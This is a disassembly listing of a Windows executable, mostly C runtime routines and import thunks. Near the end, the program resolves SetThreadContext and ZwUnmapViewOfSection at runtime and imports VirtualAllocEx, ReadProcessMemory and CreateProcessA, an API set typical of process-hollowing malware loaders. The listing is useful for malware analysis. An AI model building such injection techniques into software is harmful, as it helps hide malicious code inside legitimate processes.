; [0000033D BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND]
; [00000048 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
__initterm_e:
push esi
mov esi, eax
xor eax, eax
jmp short loc_4027BB
; ---------------------------------------------------------------------------
loc_4027AC: ; CODE XREF: .text:004027BFj
test eax, eax
jnz short loc_4027C1
mov ecx, [esi]
test ecx, ecx
jz short loc_4027B8
call ecx
loc_4027B8: ; CODE XREF: .text:004027B4j
add esi, 4
loc_4027BB: ; CODE XREF: .text:004027AAj
cmp esi, [esp+8]
jb short loc_4027AC
loc_4027C1: ; CODE XREF: .text:004027AEj
pop esi
retn
; [0000006A BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND]
; [000000C1 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __c_exit. PRESS KEYPAD "+" TO EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
__ioterm:
push esi
mov esi, offset dword_40CBC0
loc_402ADF: ; CODE XREF: .text:00402AF8j
mov eax, [esi]
test eax, eax
jz short loc_402AEF
push eax
call _free
and dword ptr [esi], 0
pop ecx
loc_402AEF: ; CODE XREF: .text:00402AE3j
add esi, 4
cmp esi, offset dword_40CCC0
jl short loc_402ADF
pop esi
retn
; [0000008C BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+" TO EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+" TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+" TO EXPAND]
; [0000006D BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_402C8D proc near ; CODE XREF: ___endstdiop
push 1
call _flsall
pop ecx
retn
sub_402C8D endp
; [00000088 BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND]
; [00000037 BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
_get_int_arg:
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
; ---------------------------------------------------------------------------
_get_int64_arg:
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
; ---------------------------------------------------------------------------
_get_short_arg:
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
; [000007DA BYTES: COLLAPSED FUNCTION __output. PRESS KEYPAD "+" TO EXPAND]
off_4035E1 dd offset loc_403023 ; DATA XREF: __output+85r
dd offset loc_402E93 ; jump table for switch statement
dd offset loc_402EB0
dd offset loc_402EFC
dd offset loc_402F3D
dd offset loc_402F46
dd offset loc_402F84
dd offset loc_403065
; ---------------------------------------------------------------------------
mov eax, offset off_40B070
retn
; [000000A6 BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD "+" TO EXPAND]
; [00000168 BYTES: COLLAPSED FUNCTION __openfile. PRESS KEYPAD "+" TO EXPAND]
; [00000072 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD "+" TO EXPAND]
; [00000177 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
__GET_RTERRMSG:
mov ecx, [esp+4]
xor eax, eax
loc_403A18: ; CODE XREF: .text:00403A25j
cmp ecx, dword_40B2F0[eax*8]
jz short loc_403A27
inc eax
cmp eax, 13h
jb short loc_403A18
loc_403A27: ; CODE XREF: .text:00403A1Fj
shl eax, 3
cmp ecx, dword_40B2F0[eax]
jnz short loc_403A39
mov eax, off_40B2F4[eax]
retn
; ---------------------------------------------------------------------------
loc_403A39: ; CODE XREF: .text:00403A30j
xor eax, eax
retn
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
_xcptlookup:
mov ecx, dword_40B408
mov eax, offset dword_40B388
push esi
loc_403A81: ; CODE XREF: .text:00403A94j
cmp [eax], edx
jz short loc_403A96
lea esi, [ecx+ecx*2]
add eax, 0Ch
lea esi, ds:40B388h[esi*4]
cmp eax, esi
jb short loc_403A81
loc_403A96: ; CODE XREF: .text:00403A83j
lea ecx, [ecx+ecx*2]
lea ecx, ds:40B388h[ecx*4]
cmp eax, ecx
pop esi
jnb short loc_403AA9
cmp [eax], edx
jz short locret_403AAB
loc_403AA9: ; CODE XREF: .text:00403AA3j
xor eax, eax
locret_403AAB: ; CODE XREF: .text:00403AA7j
retn
; [00000171 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
___CppXcptFilter:
mov eax, 0E06D7363h
cmp [esp+4], eax
jnz short loc_403C35
push dword ptr [esp+8]
push eax
call __XcptFilter
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_403C35: ; CODE XREF: .text:00403C26j
xor eax, eax
retn
; [0000005D BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND]
; [000000C7 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [0000016C BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [000000A2 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [00000122 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40408C proc near ; CODE XREF: start:loc_401FDDp
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 0Ch
push offset stru_409738
call __SEH_prolog
mov [ebp+var_1C], offset dword_409F2C
loc_40409F: ; CODE XREF: sub_40408C+3Cj
cmp [ebp+var_1C], offset dword_409F2C
jnb short loc_4040CA
and [ebp+ms_exc.disabled], 0
mov eax, [ebp+var_1C]
mov eax, [eax]
test eax, eax
jz short loc_4040C0
call eax
jmp short loc_4040C0
; ---------------------------------------------------------------------------
loc_4040B9: ; DATA XREF: .rdata:stru_409738o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_4040BD: ; DATA XREF: .rdata:stru_409738o
mov esp, [ebp+ms_exc.old_esp]
loc_4040C0: ; CODE XREF: sub_40408C+27j
; sub_40408C+2Bj
or [ebp+ms_exc.disabled], 0FFFFFFFFh
add [ebp+var_1C], 4
jmp short loc_40409F
; ---------------------------------------------------------------------------
loc_4040CA: ; CODE XREF: sub_40408C+1Aj
call __SEH_epilog
retn
sub_40408C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void sub_4040D0(void)
sub_4040D0 proc near ; DATA XREF: __cinit:loc_4027FEo
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 0Ch
push offset stru_409748
call __SEH_prolog
mov [ebp+var_1C], offset dword_409F34
loc_4040E3: ; CODE XREF: sub_4040D0+3Cj
cmp [ebp+var_1C], offset dword_409F34
jnb short loc_40410E
and [ebp+ms_exc.disabled], 0
mov eax, [ebp+var_1C]
mov eax, [eax]
test eax, eax
jz short loc_404104
call eax
jmp short loc_404104
; ---------------------------------------------------------------------------
loc_4040FD: ; DATA XREF: .rdata:stru_409748o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_404101: ; DATA XREF: .rdata:stru_409748o
mov esp, [ebp+ms_exc.old_esp]
loc_404104: ; CODE XREF: sub_4040D0+27j
; sub_4040D0+2Bj
or [ebp+ms_exc.disabled], 0FFFFFFFFh
add [ebp+var_1C], 4
jmp short loc_4040E3
; ---------------------------------------------------------------------------
loc_40410E: ; CODE XREF: sub_4040D0+1Aj
call __SEH_epilog
retn
sub_4040D0 endp
; [0000001A BYTES: COLLAPSED FUNCTION ___heap_select. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
__heap_term:
cmp dword_40BB84, 3
jnz short loc_4041F1
push ebx
xor ebx, ebx
cmp dword_40BB68, ebx
push ebp
mov ebp, ds:dword_409088
jle short loc_4041DF
push esi
mov esi, dword_40BB6C
push edi
mov edi, ds:dword_409084
add esi, 0Ch
loc_4041AB: ; CODE XREF: .text:004041DBj
push 4000h
push 100000h
push dword ptr [esi]
call edi ; VirtualFree
push 8000h
push 0
push dword ptr [esi]
call edi ; VirtualFree
push dword ptr [esi+4]
push 0
push dword_40BB80
call ebp ; RtlFreeHeap
add esi, 14h
inc ebx
cmp ebx, dword_40BB68
jl short loc_4041AB
pop edi
pop esi
loc_4041DF: ; CODE XREF: .text:00404198j
push dword_40BB6C
push 0
push dword_40BB80
call ebp ; RtlFreeHeap
pop ebp
pop ebx
loc_4041F1: ; CODE XREF: .text:00404186j
push dword_40BB80
call ds:dword_40907C ; HeapDestroy
retn
; ---------------------------------------------------------------------------
mov eax, dword_40BB80
retn
; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; [000000E6 BYTES: COLLAPSED FUNCTION __except_handler3. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION _seh_longjmp_unwind(x). PRESS KEYPAD "+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION __get_sbh_threshold. PRESS KEYPAD "+" TO EXPAND]
; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
; [00000318 BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
; [000000B7 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND]
; [00000106 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
; [000002DF BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
___sbh_heapmin:
mov eax, dword_40BB64
test eax, eax
jz locret_404C65
mov ecx, dword_40BB7C
push 4000h
shl ecx, 0Fh
add ecx, [eax+0Ch]
push 8000h
push ecx
call ds:dword_409084 ; VirtualFree
mov ecx, dword_40BB7C
mov eax, dword_40BB64
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_40BB64
mov eax, [eax+10h]
mov ecx, dword_40BB7C
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_40BB64
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_40BB64
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_404C0C
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_40BB64
loc_404C0C: ; CODE XREF: .text:00404C01j
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_404C5E
cmp dword_40BB68, 1
jle short loc_404C5E
push dword ptr [eax+10h]
push 0
push dword_40BB80
call ds:dword_409088 ; RtlFreeHeap
mov eax, dword_40BB68
mov edx, dword_40BB6C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_40BB64
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call _memcpy_0
add esp, 0Ch
dec dword_40BB68
loc_404C5E: ; CODE XREF: .text:00404C10j
; .text:00404C19j
and dword_40BB64, 0
locret_404C65: ; CODE XREF: .text:00404B9Cj
retn
; [00000319 BYTES: COLLAPSED FUNCTION ___sbh_heap_check. PRESS KEYPAD "+" TO EXPAND]
; [0000005B BYTES: COLLAPSED FUNCTION __set_sbh_threshold. PRESS KEYPAD "+" TO EXPAND]
; [000002FC BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
mov ecx, [esp+4]
mov eax, dword_40B884
mov dword_40B884, ecx
retn
; ---------------------------------------------------------------------------
mov eax, dword_40B884
retn
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND]
; [00000044 BYTES: COLLAPSED FUNCTION __getbuf. PRESS KEYPAD "+" TO EXPAND]
; [0000005F BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD "+" TO EXPAND]
; [00000082 BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
; [0000009D BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [00000077 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+" TO EXPAND]
; [0000009D BYTES: COLLAPSED FUNCTION __open_osfhandle. PRESS KEYPAD "+" TO EXPAND]
; [000001F0 BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION unknown_libname_2. PRESS KEYPAD "+" TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __isatty. PRESS KEYPAD "+" TO EXPAND]
; [00000116 BYTES: COLLAPSED FUNCTION __flsbuf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000008B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND]
; [00000066 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
mov eax, off_40B59C
retn
; ---------------------------------------------------------------------------
mov eax, off_40B598
retn
; ---------------------------------------------------------------------------
; [0000001D BYTES: COLLAPSED CHUNK OF FUNCTION sub_405BBE. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_405BAA proc near ; DATA XREF: .rdata:stru_409C60o
xor eax, eax
inc eax
retn
sub_405BAA endp
; =============== S U B R O U T I N E =======================================
sub_405BAE proc near ; DATA XREF: .rdata:stru_409C60o
mov esp, [ebp-18h]
sub_405BAE endp ; sp-analysis failed
; [0000000D BYTES: COLLAPSED CHUNK OF FUNCTION sub_405BBE. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION sub_405BBE. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000095 BYTES: COLLAPSED FUNCTION __aulldvrm. PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD "+" TO EXPAND]
; [000002D0 BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push dword ptr [esp+0Ch]
push 40h
push dword ptr [esp+10h]
push dword ptr [esp+10h]
call __sopen
add esp, 10h
retn
; [000000F9 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000E8 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000124 BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push 1
push 0
push dword ptr [esp+0Ch]
call _x_ismbbtype
add esp, 0Ch
retn
; [00000011 BYTES: COLLAPSED FUNCTION __ismbbkprint. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbbkpunct. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION __ismbbalnum. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION __ismbbalpha. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION __ismbbgraph. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION __ismbbprint. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbbpunct. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbbtrail. PRESS KEYPAD "+" TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __ismbbkana. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
_getSystemCP:
and dword_40B8A4, 0
cmp eax, 0FFFFFFFEh
jnz short loc_406470
mov dword_40B8A4, 1
jmp ds:dword_4090B0
; ---------------------------------------------------------------------------
loc_406470: ; CODE XREF: .text:0040645Ej
cmp eax, 0FFFFFFFDh
jnz short loc_406485
mov dword_40B8A4, 1
jmp ds:dword_4090AC
; ---------------------------------------------------------------------------
loc_406485: ; CODE XREF: .text:00406473j
cmp eax, 0FFFFFFFCh
jnz short locret_406499
mov eax, dword_40B90C
mov dword_40B8A4, 1
locret_406499: ; CODE XREF: .text:00406488j
retn
; [0000002F BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND]
; [0000018C BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND]
; [000001E6 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [00000010 BYTES: COLLAPSED FUNCTION __getmbcp. PRESS KEYPAD "+" TO EXPAND]
; [0000001E BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
__NLG_Notify1:
push ebx
push ecx
mov ebx, offset dword_40B6A8
jmp short loc_406974
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND]
; [00000229 BYTES: COLLAPSED FUNCTION __ValidateEH3RN. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000033D BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
; [00000162 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+" TO EXPAND]
; [0000009F BYTES: COLLAPSED FUNCTION __lseeki64. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __fptrap. PRESS KEYPAD "+" TO EXPAND]
; [00000066 BYTES: COLLAPSED FUNCTION ___security_init_cookie. PRESS KEYPAD "+" TO EXPAND]
; [00000147 BYTES: COLLAPSED FUNCTION ___security_error_handler. PRESS KEYPAD "+" TO EXPAND]
db 0CCh
; ---------------------------------------------------------------------------
___buffer_overrun:
push 0
push 1
call ___security_error_handler
; ---------------------------------------------------------------------------
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov ecx, [esp+4]
mov eax, dword_40B914
mov dword_40B914, ecx
retn
; ---------------------------------------------------------------------------
align 10h
; [00000060 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+" TO EXPAND]
; [000000B3 BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+" TO EXPAND]
; [0000015C BYTES: COLLAPSED FUNCTION __chsize. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
_strncnt:
mov ecx, [esp+4]
test ecx, ecx
jz short loc_4075D8
loc_4075CD: ; CODE XREF: .text:004075D6j
dec ecx
cmp byte ptr [eax], 0
jz short loc_4075D9
inc eax
test ecx, ecx
jnz short loc_4075CD
loc_4075D8: ; CODE XREF: .text:004075CBj
dec ecx
loc_4075D9: ; CODE XREF: .text:004075D1j
mov eax, [esp+4]
sub eax, ecx
dec eax
retn
; [000003BC BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND]
; [000001BA BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND]
; [00000082 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION ___ansicp. PRESS KEYPAD "+" TO EXPAND]
; [000001C9 BYTES: COLLAPSED FUNCTION ___convertcp. PRESS KEYPAD "+" TO EXPAND]
; [000000E3 BYTES: COLLAPSED FUNCTION __resetstkoflw. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp _atol
; [00000079 BYTES: COLLAPSED FUNCTION __atoi64. PRESS KEYPAD "+" TO EXPAND]
; [00000090 BYTES: COLLAPSED FUNCTION __ismbcspace. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
__chvalidator:
mov eax, [esp+4]
mov ecx, off_40B598
movzx eax, word ptr [ecx+eax*2]
and eax, [esp+8]
retn
; [0000007E BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
align 2
jmp ds:dword_409000
; ---------------------------------------------------------------------------
jmp ds:dword_409004
; ---------------------------------------------------------------------------
jmp ds:dword_409008
; ---------------------------------------------------------------------------
jmp ds:dword_40900C
; ---------------------------------------------------------------------------
jmp ds:dword_409010
; ---------------------------------------------------------------------------
jmp ds:dword_409014
; ---------------------------------------------------------------------------
jmp ds:dword_409018
; ---------------------------------------------------------------------------
jmp ds:dword_40901C
; ---------------------------------------------------------------------------
jmp ds:dword_409020
; ---------------------------------------------------------------------------
jmp ds:dword_409024
; ---------------------------------------------------------------------------
jmp ds:dword_409028
; ---------------------------------------------------------------------------
jmp ds:dword_40902C
; ---------------------------------------------------------------------------
jmp ds:dword_409030
; ---------------------------------------------------------------------------
jmp ds:dword_409034
; ---------------------------------------------------------------------------
jmp ds:dword_409038
; ---------------------------------------------------------------------------
jmp ds:dword_40903C
; ---------------------------------------------------------------------------
jmp ds:dword_409040
; ---------------------------------------------------------------------------
jmp ds:dword_409044
; ---------------------------------------------------------------------------
jmp ds:dword_409048
; ---------------------------------------------------------------------------
jmp ds:dword_40904C
; ---------------------------------------------------------------------------
jmp ds:dword_409050
; ---------------------------------------------------------------------------
jmp ds:dword_409054
; ---------------------------------------------------------------------------
jmp ds:dword_409058
; ---------------------------------------------------------------------------
jmp ds:dword_40905C
; ---------------------------------------------------------------------------
jmp ds:dword_409060
; ---------------------------------------------------------------------------
jmp ds:dword_409064
; ---------------------------------------------------------------------------
jmp ds:dword_409068
; ---------------------------------------------------------------------------
jmp ds:dword_40906C
; ---------------------------------------------------------------------------
jmp ds:dword_409070
; ---------------------------------------------------------------------------
jmp ds:dword_409074
; ---------------------------------------------------------------------------
jmp ds:dword_409078
; ---------------------------------------------------------------------------
jmp ds:dword_40907C
; ---------------------------------------------------------------------------
jmp ds:dword_409080
; ---------------------------------------------------------------------------
jmp ds:dword_409084
; ---------------------------------------------------------------------------
jmp ds:dword_409088
; ---------------------------------------------------------------------------
jmp ds:dword_40908C
; ---------------------------------------------------------------------------
jmp ds:dword_409090
; ---------------------------------------------------------------------------
jmp ds:dword_409094
; ---------------------------------------------------------------------------
jmp ds:dword_409098
; ---------------------------------------------------------------------------
jmp ds:dword_40909C
; ---------------------------------------------------------------------------
jmp ds:dword_4090A0
; ---------------------------------------------------------------------------
jmp ds:dword_4090A4
; ---------------------------------------------------------------------------
jmp ds:dword_4090A8
; ---------------------------------------------------------------------------
jmp ds:dword_4090AC
; ---------------------------------------------------------------------------
jmp ds:dword_4090B0
; ---------------------------------------------------------------------------
jmp ds:dword_4090B4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40823A proc near ; CODE XREF: __global_unwind2+13p
jmp ds:dword_4090B8
sub_40823A endp
; ---------------------------------------------------------------------------
jmp ds:dword_4090BC
; ---------------------------------------------------------------------------
jmp ds:dword_4090C0
; ---------------------------------------------------------------------------
jmp ds:dword_4090C4
; ---------------------------------------------------------------------------
jmp ds:dword_4090C8
; ---------------------------------------------------------------------------
jmp ds:dword_4090CC
; ---------------------------------------------------------------------------
jmp ds:dword_4090D0
; ---------------------------------------------------------------------------
jmp ds:dword_4090D4
; ---------------------------------------------------------------------------
jmp ds:dword_4090D8
; ---------------------------------------------------------------------------
jmp ds:dword_4090DC
; ---------------------------------------------------------------------------
jmp ds:dword_4090E0
; ---------------------------------------------------------------------------
jmp ds:dword_4090E4
; ---------------------------------------------------------------------------
jmp ds:dword_4090E8
; ---------------------------------------------------------------------------
jmp ds:dword_4090EC
; ---------------------------------------------------------------------------
jmp ds:dword_4090F0
; ---------------------------------------------------------------------------
jmp ds:dword_4090F4
; ---------------------------------------------------------------------------
jmp ds:dword_4090F8
; ---------------------------------------------------------------------------
jmp ds:dword_4090FC
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4082B0 proc near ; DATA XREF: .data:0040B008o
push offset aSetthreadconte ; "SetThreadContext"
push offset aKernel32_dll ; "kernel32.dll"
call ds:dword_409018 ; GetModuleHandleA
push eax
call ds:dword_409014 ; GetProcAddress
mov dword_40B704, eax
retn
sub_4082B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4082D0 proc near ; DATA XREF: .data:0040B00Co
push offset aZwunmapviewofs ; "ZwUnmapViewOfSection"
push offset aNtdll_dll ; "ntdll.dll"
call ds:dword_409018 ; GetModuleHandleA
push eax
call ds:dword_409014 ; GetProcAddress
mov dword_40B700, eax
retn
sub_4082D0 endp
_text ends
; Section 2. (virtual address 00009000)
; Virtual size : 000014E0 ( 5344.)
; Section size in file : 000014E0 ( 5344.)
; Offset to raw data for section: 00009000
; Flags 40000040: Data Readable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read
_rdata segment para public 'DATA' use32
assume cs:_rdata
;org 409000h
dword_409000 dd 7C80B9A0h ; resolved to->KERNEL32.VirtualQueryEx ; .text:00408126r
dword_409004 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemory ; .text:0040812Cr
dword_409008 dd 7C83970Dh ; resolved to->KERNEL32.GetThreadContext ; .text:00408132r
dword_40900C dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; .text:00408138r
dword_409010 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; .text:004018A8r ...
dword_409014 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; WinMain(x,x,x,x)+ABr ...
dword_409018 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; WinMain(x,x,x,x)+A4r ...
dword_40901C dd 7C809A72h ; resolved to->KERNEL32.VirtualAllocEx ; sub_4016F0+AAr ...
